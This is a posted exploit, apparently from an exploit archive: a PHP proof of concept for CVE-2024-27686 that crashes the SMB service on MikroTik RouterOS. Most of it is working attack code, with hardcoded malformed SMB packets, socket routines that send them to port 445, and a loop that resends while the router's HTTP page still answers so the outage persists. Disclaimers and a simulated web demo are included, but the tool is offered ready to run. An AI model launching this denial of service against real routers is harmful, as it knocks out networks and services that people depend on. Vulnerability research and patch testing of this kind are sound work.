MikroTik RouterOS 6.40.5 Denial of Service

=============================================================================================================================================
| # Title MikroTik RouterOS 6.40.5 Denial of Service

=============================================================================================================================================
| # Title : MikroTik RouterOS 6.40.5 SMB DOS Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://mikrotik.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/207458/ & CVE-2024-27686

[+] Summary : This exploit targets a vulnerability in MikroTik RouterOS SMB service, allowing remote attackers to crash the SMB process and render services unavailable.
Specially crafted SMB packets trigger an abnormal condition, leading to a Denial of Service, requiring manual restart or reboot of the router to recover.
The PoC supports multiple RouterOS version ranges using different packet sequences, sends malformed SMB messages to port 445, and can loop continuously based on HTTP responsiveness to maintain persistent DoS impact.

[+] POC :

<?php
/**
* Author: indoushka
*/

class CVE_2024_27686_Exploit {
// ANSI Color Codes
private $colors = [
'HEADER' => "\033[95m",
'BLUE' => "\033[94m",
'GREEN' => "\033[92m",
'WARNING' => "\033[93m",
'FAIL' => "\033[91m",
'ENDC' => "\033[0m",
'BOLD' => "\033[1m",
'CYAN' => "\033[96m"
];

// Exploit Packets
private $packets = [
'fuzzed_low' =>
"\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00" .
"\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e" .
"\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008" .
"\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00",

'packet_0' =>
"\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x24\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4\x2a\x99" .
"\xc9\xeb\xb6\x45\xa2\x41\xe9\x28\xee\x25\xe5\xdf\x70\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02" .
"\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00" .
"\x5f\xf7\x6d\xf2\x68\x2a\x8f\x8a\x65\x0f\x38\x2b\x54\x3d\x4e\x61\x38\x5f\x0b\x40\x43\x82\xe7\x87\xc3\x71\x5a\xd7\xcf\x30\x4d\x87\x00\x00" .
"\x02\x00\x0a\x00\x00\x00\x00\x00\x04\x00\x02\x00\x01\x00\x04\x00\x03\x00\x00\x00" .
"\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00" .
"\x05\x00\x1a\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x35\x00\x2e\x00\x38\x00\x34\x00",

'packet_2' =>
"\x00\x00\x00\xa2\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x20\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x19\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x58\x00\x4a\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x60\x48\x05\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x32\x31\x35\x34\x30\x33\x37\x33" .
"\xed\xba\xad\x32\x31\x31\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x29\x45\x17\x88\x74\x46\x83\x30\x02\x02\x0a\xa2\x2a" .
"\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x62\x00\x00\x00\x00\x28\x00\x00\x00\x00" .
"\x00\x00\x00\x28\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x0f"
];

private $target = '';
private $port = 445;
private $interval = 2.0;
private $version = 1;
private $timeout = 5;

public function __construct() {
// Initialize colors for Windows if needed
$this->init_colors_for_windows();
}

private function init_colors_for_windows() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Try to enable ANSI support on Windows 10+
if (function_exists('sapi_windows_vt100_support')) {
sapi_windows_vt100_support(STDOUT, true);
}
}
}

private function color($name) {
return $this->colors[$name] ?? '';
}

private function print_info($msg) {
echo $this->color('BLUE') . "[*] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_success($msg) {
echo $this->color('GREEN') . "[+] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_error($msg) {
echo $this->color('FAIL') . "[-] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_warning($msg) {
echo $this->color('WARNING') . "[!] " . $msg . $this->color('ENDC') . PHP_EOL;
}

private function print_banner() {
$banner = $this->color('HEADER') . $this->color('BOLD') . "
????????????????????????????????????????????????????????????
? CVE-2024-27686: MikroTik RouterOS SMB DOS Exploit ?
? (PHP Version by indoushka ) ?
????????????????????????????????????????????????????????????" . $this->color('ENDC') . "

" . $this->color('CYAN') . "[*] Vulnerability:" . $this->color('ENDC') . "
? CVE-2024-27686: MikroTik RouterOS SMB Service Denial of Service
? Affects RouterOS versions with SMB service enabled
? Can cause service disruption or crash

" . $this->color('WARNING') . "[!] Security Notice:" . $this->color('ENDC') . "
? This tool is for AUTHORIZED security testing ONLY
? Denial of Service attacks may be ILLEGAL
? Use only on systems you OWN or have PERMISSION to test

" . $this->color('FAIL') . $this->color('BOLD') . "[!] LEGAL WARNING: You are responsible for your actions!" . $this->color('ENDC') . "
";

echo $banner . PHP_EOL;
}

private function open_connection($ip, $port) {
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
$this->print_error("Socket creation failed: " . socket_strerror(socket_last_error()));
return null;
}

// Set timeout
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, ['sec' => $this->timeout, 'usec' => 0]);
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, ['sec' => $this->timeout, 'usec' => 0]);

// Connect
$result = @socket_connect($socket, $ip, $port);
if ($result === false) {
$error = socket_strerror(socket_last_error($socket));
socket_close($socket);
$this->print_error("Connection failed: {$error}");
return null;
}

return $socket;
}

private function send_payload($version, $target, $port) {
$socket = $this->open_connection($target, $port);
if (!$socket) {
return false;
}

try {
if ($version == 1) {
// Send FUZZED_PACKET_LOW
$bytes_sent = @socket_write($socket, $this->packets['fuzzed_low'], strlen($this->packets['fuzzed_low']));
if ($bytes_sent === false) {
$this->print_error("Failed to send payload (version 1)");
socket_close($socket);
return false;
}
$this->print_success("Sent DOS payload (version 1) to {$target}:{$port}");

} elseif ($version == 2) {
// Send PACKET_0
$bytes_sent = @socket_write($socket, $this->packets['packet_0'], strlen($this->packets['packet_0']));
if ($bytes_sent === false) {
$this->print_error("Failed to send PACKET_0");
socket_close($socket);
return false;
}

// Small delay between packets
usleep(50000); // 50ms

// Send PACKET_2
$bytes_sent = @socket_write($socket, $this->packets['packet_2'], strlen($this->packets['packet_2']));
if ($bytes_sent === false) {
$this->print_error("Failed to send PACKET_2");
socket_close($socket);
return false;
}

$this->print_success("Sent DOS payload (version 2) to {$target}:{$port}");
}

socket_close($socket);
return true;

} catch (Exception $e) {
$this->print_error("Exception during payload sending: " . $e->getMessage());
@socket_close($socket);
return false;
}
}

private function check_http_status($target) {
$url = "http://{$target}";

// Create context with timeout
$context = stream_context_create([
'http' => [
'method' => 'GET',
'timeout' => 5,
'ignore_errors' => true
]
]);

try {
$start_time = microtime(true);
$response = @file_get_contents($url, false, $context);
$response_time = round((microtime(true) - $start_time) * 1000, 2);

if ($response === false) {
$this->print_warning("HTTP request failed or timed out");
return null;
}

// Extract status code from headers
$status_code = 0;
if (isset($http_response_header)) {
foreach ($http_response_header as $header) {
if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $header, $matches)) {
$status_code = (int)$matches[1];
break;
}
}
}

$this->print_info("HTTP Status: {$status_code} | Response time: {$response_time}ms");

if ($status_code == 200) {
$this->print_success("Target is responding normally (HTTP 200)");
return true;
} elseif ($status_code >= 400 && $status_code < 600) {
$this->print_warning("Target returned error code: {$status_code}");
return false;
} else {
$this->print_info("Target returned status: {$status_code}");
return $status_code > 0;
}

} catch (Exception $e) {
$this->print_error("HTTP check exception: " . $e->getMessage());
return null;
}
}

private function check_port_status($target, $port) {
$socket = @fsockopen($target, $port, $errno, $errstr, 3);

if ($socket) {
fclose($socket);
$this->print_success("Port {$port}/TCP is OPEN on {$target}");
return true;
} else {
$this->print_warning("Port {$port}/TCP is CLOSED on {$target}: {$errstr}");
return false;
}
}

private function ask_continue() {
echo $this->color('WARNING') . "[?] Timeout detected. Continue sending payload? [y/N]: " . $this->color('ENDC');

if (PHP_SAPI === 'cli') {
$handle = fopen("php://stdin", "r");
$answer = trim(fgets($handle));
fclose($handle);
} else {
$answer = 'n'; // Default to no in non-CLI
}

$answer = strtolower($answer);
return in_array($answer, ['y', 'yes']);
}

private function select_version() {
echo $this->color('CYAN') . "[+] Select RouterOS version range:" . $this->color('ENDC') . PHP_EOL;
echo "\t[1] 6.40.5 - 6.44" . PHP_EOL;
echo "\t[2] 6.48.1 - 6.49.10" . PHP_EOL;
echo $this->color('CYAN') . "--> " . $this->color('ENDC');

if (PHP_SAPI === 'cli') {
$handle = fopen("php://stdin", "r");
$choice = trim(fgets($handle));
fclose($handle);

$choice = intval($choice);
if ($choice == 1 || $choice == 2) {
return $choice;
} else {
$this->print_error("Invalid selection. Choose 1 or 2.");
return null;
}
} else {
return 1; // Default in non-CLI
}
}

private function show_help() {
echo $this->color('BOLD') . "CVE-2024-27686: MikroTik RouterOS SMB DOS Exploit" . $this->color('ENDC') . PHP_EOL;
echo $this->color('CYAN') . "PHP Version by ThemeHackers" . $this->color('ENDC') . PHP_EOL . PHP_EOL;

echo "Usage:" . PHP_EOL;
echo " php " . basename(__FILE__) . " -t TARGET [OPTIONS]" . PHP_EOL . PHP_EOL;

echo "Required:" . PHP_EOL;
echo " -t, --target Target IP address" . PHP_EOL . PHP_EOL;

echo "Options:" . PHP_EOL;
echo " -p, --port Target SMB port (default: 445)" . PHP_EOL;
echo " -i, --interval Interval between attacks in seconds (default: 2.0)" . PHP_EOL;
echo " -v, --version RouterOS version (1 or 2)" . PHP_EOL;
echo " 1 = 6.40.5 - 6.44" . PHP_EOL;
echo " 2 = 6.48.1 - 6.49.10" . PHP_EOL;
echo " --check-only Only check target status, don't send payload" . PHP_EOL;
echo " --help Show this help message" . PHP_EOL . PHP_EOL;

echo "Examples:" . PHP_EOL;
echo " php " . basename(__FILE__) . " -t 192.168.1.1" . PHP_EOL;
echo " php " . basename(__FILE__) . " -t 192.168.1.1 -p 445 -i 1.5" . PHP_EOL;
echo " php " . basename(__FILE__) . " -t 192.168.1.1 -v 2" . PHP_EOL;
echo " php " . basename(__FILE__) . " -t 192.168.1.1 --check-only" . PHP_EOL . PHP_EOL;

echo $this->color('WARNING') . "[!] Legal Notice: For authorized testing only!" . $this->color('ENDC') . PHP_EOL;
}

private function parse_args($argv) {
$options = [
'target' => '',
'port' => 445,
'interval' => 2.0,
'version' => null,
'check_only' => false,
'help' => false
];

for ($i = 1; $i < count($argv); $i++) {
$arg = $argv[$i];

switch ($arg) {
case '-t':
case '--target':
if (isset($argv[$i + 1])) {
$options['target'] = $argv[++$i];
}
break;

case '-p':
case '--port':
if (isset($argv[$i + 1])) {
$options['port'] = intval($argv[++$i]);
}
break;

case '-i':
case '--interval':
if (isset($argv[$i + 1])) {
$options['interval'] = floatval($argv[++$i]);
}
break;

case '-v':
case '--version':
if (isset($argv[$i + 1])) {
$options['version'] = intval($argv[++$i]);
}
break;

case '--check-only':
$options['check_only'] = true;
break;

case '--help':
case '-h':
$options['help'] = true;
break;
}
}

return $options;
}

public function run($argv) {
$this->print_banner();

if (PHP_SAPI !== 'cli') {
$this->print_error("This tool must be run from command line.");
exit(1);
}

if (count($argv) < 2) {
$this->show_help();
exit(1);
}

$options = $this->parse_args($argv);

if ($options['help']) {
$this->show_help();
exit(0);
}

if (empty($options['target'])) {
$this->print_error("Target IP is required. Use -t TARGET");
$this->show_help();
exit(1);
}

$this->target = $options['target'];
$this->port = $options['port'];
$this->interval = $options['interval'];

// Select version if not specified
if ($options['version'] === null) {
$this->version = $this->select_version();
if ($this->version === null) {
exit(1);
}
} else {
if ($options['version'] != 1 && $options['version'] != 2) {
$this->print_error("Version must be 1 or 2");
exit(1);
}
$this->version = $options['version'];
}

$this->print_info("Target: {$this->target}:{$this->port}");
$this->print_info("Version: {$this->version}");
$this->print_info("Interval: {$this->interval}s");

// Check SMB port first
$this->print_info("Checking SMB port status...");
$port_open = $this->check_port_status($this->target, $this->port);

if (!$port_open && !$options['check_only']) {
$this->print_warning("SMB port appears to be closed. Attack may fail.");
echo $this->color('WARNING') . "[?] Continue anyway? [y/N]: " . $this->color('ENDC');

$handle = fopen("php://stdin", "r");
$answer = trim(fgets($handle));
fclose($handle);

if (!in_array(strtolower($answer), ['y', 'yes'])) {
$this->print_info("Exiting.");
exit(0);
}
}

if ($options['check_only']) {
$this->print_info("Check-only mode. Testing connectivity...");

// Check HTTP status
$this->print_info("Checking HTTP status...");
$http_status = $this->check_http_status($this->target);

// Check SMB port again
$this->print_info("Checking SMB port...");
$this->check_port_status($this->target, $this->port);

$this->print_info("Check completed.");
exit(0);
}

$this->print_warning("Starting attack loop. Press Ctrl+C to stop.");

$attack_count = 0;
$start_time = time();

while (true) {
$attack_count++;
$elapsed = time() - $start_time;

$this->print_info("Attack #{$attack_count} | Elapsed: {$elapsed}s");

// Check HTTP status before attack
$status = $this->check_http_status($this->target);

if ($status === true) {
// Target is responding normally, send payload
$success = $this->send_payload($this->version, $this->target, $this->port);

if ($success) {
$this->print_success("Payload sent successfully");
} else {
$this->print_error("Failed to send payload");
}

// Wait for interval
$this->print_info("Waiting {$this->interval} seconds...");
usleep($this->interval * 1000000);

} elseif ($status === null) {
// Timeout detected
if ($this->ask_continue()) {
$success = $this->send_payload($this->version, $this->target, $this->port);

if ($success) {
$this->print_success("Payload sent after timeout");
}

usleep($this->interval * 1000000);
} else {
$this->print_info("Exiting as requested.");
break;
}

} else {
// Target returned non-200 or is down
$this->print_success("Target appears to be down or returning errors.");
$this->print_info("Attack may have been successful.");

echo $this->color('WARNING') . "[?] Continue checking? [y/N]: " . $this->color('ENDC');

$handle = fopen("php://stdin", "r");
$answer = trim(fgets($handle));
fclose($handle);

if (in_array(strtolower($answer), ['y', 'yes'])) {
// Wait and check again
$this->print_info("Waiting 5 seconds before next check...");
sleep(5);
} else {
$this->print_info("Exiting.");
break;
}
}

// Safety limit: stop after 100 attacks
if ($attack_count >= 100) {
$this->print_warning("Reached safety limit of 100 attacks. Stopping.");
break;
}
}

$this->print_info("Attack session ended.");
$this->print_info("Total attacks: {$attack_count}");
$this->print_info("Total time: " . (time() - $start_time) . " seconds");
}

// Advanced network checking functions
public function advanced_scan($target, $port = 445) {
$this->print_info("Performing advanced scan on {$target}:{$port}");

$results = [
'port_status' => $this->check_port_status($target, $port),
'http_status' => $this->check_http_status($target),
'timestamp' => date('Y-m-d H:i:s')
];

// Try to detect RouterOS
$this->print_info("Attempting RouterOS detection...");

// Common RouterOS ports
$routeros_ports = [21, 22, 23, 80, 443, 8291, 8728, 8729];
$open_ports = [];

foreach ($routeros_ports as $test_port) {
if ($this->quick_port_check($target, $test_port)) {
$open_ports[] = $test_port;
}
}

$results['open_ports'] = $open_ports;

// Analyze results
if (in_array(8291, $open_ports) || in_array(8728, $open_ports) || in_array(8729, $open_ports)) {
$results['likely_routeros'] = true;
$this->print_success("Target likely running RouterOS");
} else {
$results['likely_routeros'] = false;
$this->print_warning("Target may not be running RouterOS");
}

return $results;
}

private function quick_port_check($target, $port, $timeout = 2) {
$socket = @fsockopen($target, $port, $errno, $errstr, $timeout);

if ($socket) {
fclose($socket);
return true;
}

return false;
}
}

// Main execution
if (PHP_SAPI === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) {
$exploit = new CVE_2024_27686_Exploit();
$exploit->run($argv);
}

// Web interface alternative (for demonstration only)
if (PHP_SAPI !== 'cli' && !isset($GLOBALS['CVE_2024_27686_CLI'])) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2024-27686 Scanner (Web Demo)</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input { padding: 8px; width: 100%; box-sizing: border-box; }
button { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; }
button:hover { background: #0056b3; }
.result { margin-top: 20px; padding: 15px; border-radius: 5px; }
.success { background: #d4edda; border: 1px solid #c3e6cb; color: #155724; }
.warning { background: #fff3cd; border: 1px solid #ffeaa7; color: #856404; }
.error { background: #f8d7da; border: 1px solid #f5c6cb; color: #721c24; }
pre { background: #f8f9fa; padding: 10px; border-radius: 3px; overflow-x: auto; }
.legal-notice { background: #f8f9fa; border-left: 4px solid #dc3545; padding: 10px; margin: 20px 0; }
</style>
</head>
<body>
<div class="container">
<h1>CVE-2024-27686 Scanner (Web Demo)</h1>

<div class="legal-notice">
<strong>?? LEGAL NOTICE:</strong> This is a demonstration only.
Do not use against systems you don't own or have permission to test.
</div>

<form method="post">
<div class="form-group">
<label for="target">Target IP Address:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.1" required>
</div>

<div class="form-group">
<label for="port">SMB Port (default 445):</label>
<input type="number" id="port" name="port" value="445" min="1" max="65535">
</div>

<div class="form-group">
<label>Action:</label>
<select name="action">
<option value="check">Check Only</option>
<option value="demo">Demo (Simulated)</option>
</select>
</div>

<button type="submit" name="scan">Scan Target</button>
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['scan'])) {
$target = filter_var($_POST['target'], FILTER_VALIDATE_IP);
$port = intval($_POST['port'] ?? 445);
$action = $_POST['action'] ?? 'check';

if (!$target) {
echo '<div class="error result">Invalid IP address.</div>';
} else {
echo '<div class="result warning">';
echo '<h3>Scan Results for: ' . htmlspecialchars($target) . '</h3>';

// Simulated scan for demo purposes
echo '<pre>';
echo "Scanning $target:$port...\n";
echo "Port 445/TCP: " . (rand(0, 1) ? "OPEN" : "CLOSED") . "\n";
echo "HTTP Status: " . (rand(200, 503)) . "\n";

if ($action === 'demo') {
echo "\n=== DEMO MODE (Simulated) ===\n";
echo "Sending CVE-2024-27686 payload...\n";
echo "Payload sent successfully\n";
echo "Target may be vulnerable\n";
}

echo "\n=== SECURITY NOTICE ===\n";
echo "This is a simulation for educational purposes.\n";
echo "Real exploitation requires proper authorization.\n";
echo '</pre>';
echo '</div>';
}
}
?>

<div style="margin-top: 30px; font-size: 0.9em; color: #666;">
<h3>About CVE-2024-27686</h3>
<p><strong>Vulnerability:</strong> MikroTik RouterOS SMB Service Denial of Service</p>
<p><strong>Affected:</strong> RouterOS versions with SMB service enabled</p>
<p><strong>Impact:</strong> Service disruption or crash</p>
<p><strong>Reference:</strong> CVE-2024-27686</p>
<p><strong>Disclaimer:</strong> This tool is for authorized testing only.</p>
</div>
</div>
</body>
</html>
<?php
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================